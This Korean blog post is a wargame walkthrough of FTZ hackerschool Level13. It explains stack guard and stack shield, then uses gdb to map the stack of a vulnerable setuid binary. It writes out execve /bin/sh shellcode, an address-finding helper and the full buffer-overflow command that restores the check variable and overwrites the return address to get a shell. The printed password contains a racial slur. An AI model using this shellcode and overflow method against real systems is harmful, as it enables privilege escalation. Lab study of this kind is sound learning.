ftz.hackerschool.org의 이미지를 받아 실습했습니다.
- Level13
level13 / have no clue
- 스택 가드 (SG, Stack Guard )
스택 가드란, 해당 프로그램 구동시 Stack 상에 일정한 주소번지에 프로그램이 선언한 canary를 심어 두어, 스택의 변조 된 경우에, canary를 체크하여 프로그램이 비정상적으로 종료 시키는 기법이다.
( 버퍼 오버플로우는 사실 개발자의 실수로 부터 생겨난다. 하지만 오픈소스의 경우 소스를 가져다가 쓰기 때문에 취약한 코딩으로 되어 있으면 소스를 모두 분석해서 고쳐야 하는데 쉬운 일이 아니다. 하지만 스택 가드는 변수를 하나 더 만들고 그 값이 변경되었는지만 판단하면 되기 때문에 간단히 버퍼 오버플로우를 해결 할 수 있다.)
- 스택 쉴드 (SS, Stack Shield )
스텍 쉴드는 함수의 리턴 주소를 복사하여 실제 리턴 주소를 참조하지 않고 복사된 함수의 리턴 주소를 사용하는 방식이다.
실제 리턴 주소와 복사된 주소는 참조되지 않으므로 리턴 주소를 변조하는 것이 불가능하다.
하지만 안전한 장소로 함수의 리턴 주소를 복사하는 과정에서 프로그램의 성능이 다소 떨어질 수 있다.
[level13@ftz level13]$ ls -l
|
합계 28 -rwsr-x--- 1 level14 level13 13953 3월 8 2003 attackme -rw-r----- 1 root level13 258 3월 8 2003 hint drwxr-xr-x 2 root level13 4096 2월 24 2002 public_html drwxrwxr-x 2 root level13 4096 1월 11 2009 tmp |
|
[level13@ftz level13]$ cat hint
|
#include <stdlib.h> main(int argc, char *argv[]) { long i=0x1234567; char buf[1024]; setreuid( 3094, 3094 ); if(argc > 1) strcpy(buf,argv[1]); if(i != 0x1234567) { printf(" Warnning: Buffer Overflow !!! \n"); kill(0,11); } } |
|
> 여기선 i가 변하면 프로그램을 종료한다.
> 쉘을 띄우는 구문이 없으므로 쉘코드를 사용해야 한다.
level13@ftz level13]$ cp attackme ./tmp
[level13@ftz level13]$ cd tmp
[level13@ftz tmp]$ gdb -q attackme
|
(gdb) disas main Dump of assembler code for function main: 0x080484a0 <main+0>: push %ebp 0x080484a1 <main+1>: mov %esp,%ebp 0x080484a3 <main+3>: sub $0x418,%esp 0x080484a9 <main+9>: movl $0x1234567,0xfffffff4(%ebp) 0x080484b0 <main+16>: sub $0x8,%esp 0x080484b3 <main+19>: push $0xc16 0x080484b8 <main+24>: push $0xc16 0x080484bd <main+29>: call 0x8048370 <setreuid> 0x080484c2 <main+34>: add $0x10,%esp 0x080484c5 <main+37>: cmpl $0x1,0x8(%ebp) 0x080484c9 <main+41>: jle 0x80484e5 <main+69> 0x080484cb <main+43>: sub $0x8,%esp 0x080484ce <main+46>: mov 0xc(%ebp),%eax 0x080484d1 <main+49>: add $0x4,%eax 0x080484d4 <main+52>: pushl (%eax) 0x080484d6 <main+54>: lea 0xfffffbe8(%ebp),%eax 0x080484dc <main+60>: push %eax 0x080484dd <main+61>: call 0x8048390 <strcpy> 0x080484e2 <main+66>: add $0x10,%esp 0x080484e5 <main+69>: cmpl $0x1234567,0xfffffff4(%ebp) 0x080484ec <main+76>: je 0x804850d <main+109> 0x080484ee <main+78>: sub $0xc,%esp ---Type <return> to continue, or q <return> to quit--- 0x080484f1 <main+81>: push $0x80485a0 0x080484f6 <main+86>: call 0x8048360 <printf> 0x080484fb <main+91>: add $0x10,%esp 0x080484fe <main+94>: sub $0x8,%esp 0x08048501 <main+97>: push $0xb 0x08048503 <main+99>: push $0x0 0x08048505 <main+101>: call 0x8048380 <kill> 0x0804850a <main+106>: add $0x10,%esp 0x0804850d <main+109>: leave 0x0804850e <main+110>: ret 0x0804850f <main+111>: nop End of assembler dump. |
|
> 변수의 공간이 418 ( 1048 ) 이다. 변수는 1024 bytes인 buf와 4bytes 인 i 이고 나머지는 다 더미 공간이다.
> 더미 공간이 어떻게 분포 되어 있는지 확인한다.
|
(gdb) b *0x080484e5 Breakpoint 1 at 0x80484e5 (gdb) run $(perl -e 'print "A"x1024') Starting program: /home/level13/tmp/attackme $(perl -e 'print "A"x1024') Breakpoint 1, 0x080484e5 in main () (gdb) x/262x $esp 0xbfffe7d0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffe7e0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffe7f0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffe800: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffe810: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffe820: 0x41414141 0x41414141 0x41414141 0x41414141 ....... 생략 ...... ---Type <return> to continue, or q <return> to quit--- 0xbfffeab0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffeac0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffead0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffeae0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffeaf0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffeb00: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffeb10: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffeb20: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffeb30: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffeb40: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffeb50: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffeb60: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffeb70: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffeb80: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffeb90: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffeba0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffebb0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffebc0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffebd0: 0x08048300 0x42130a14 0xbfffebe8 0x01234567 0xbfffebe0: 0x4200af84 0x42130a14 |
|
> buf를 A로 다 체우고 i의 값인 0x1234567 을 찾아서 그 사이에 값이 안들어간 공간은 더미 공간이다.
> buf와 i 사이의 더미 공간은 12 bytes 이다.
> 총 1048bytes 에서 1024와 4, 12를 빼면 8bytes가 남는데 이 값은 자연히 i 와 SFP 사이의 더미 공간이 될 것이다.
|
buf |
dummy |
i |
dummy |
SFP |
RET |
.... |
|
|
1024 |
12 |
4 |
8 |
4 |
4 |
.... |
|
|
(gdb) run AAAA The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/level13/tmp/attackme AAAA Breakpoint 1, 0x080484e5 in main () (gdb) x/4x $esp 0xbfffeb50: 0x41414141 0x00000000 0x00000000 0x00000000 |
|
> 역시 프로그램을 다시 돌리니 buf 스택의 주소가 바뀌었다. -> 쉘코드를 buf에 넣고 return 할 수 없다. 주소가 계속 바뀐다.
level12 와 같이 준비한다.
[level13@ftz tmp]$ export SHELLCODE=`perl -e 'print "\x90"x200,"\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`
[level13@ftz tmp]$ vi getenv.c
|
#include <stdio.h> int main(int argc ,char *argv[]) { printf("ADDR=%p\n",getenv(argv[1])); return 0; } |
|
[level13@ftz tmp]$ gcc -o getenv getenv.c
|
ADDR=0xbffffb72 |
|
[level13@ftz level13]$./attackme $(perl -e 'print "A"x1036,"\x67\x45\x23\x01","A"x12,"\x72\xfb\xff\xbf"')
|
sh-2.05b$ id uid=3094(level14) gid=3093(level13) groups=3093(level13) sh-2.05b$ my-pass TERM environment variable not set. Level14 Password is "what that nigga want?". |
|
> i 위치만 잘 알고 그 자리에 01234567만 넣어주고 ret 자리엔 쉘코드 주소를 적어주면 풀 수 있다.
'Security > 리버싱' 카테고리의 다른 글
Level14 문제 해결 (0) | 2017.12.06 |
---|---|
Level12 문제 해결 ( Bof , 버퍼 오버플로우 ) (0) | 2017.12.06 |
Level11 문제 해결 (포맷 스트링 버그) (0) | 2017.12.05 |
쉘코드(shellcode) 만들기 (kali Linux) (0) | 2017.12.04 |
쉘코드 (shellcode) 만들기 (1) | 2017.12.04 |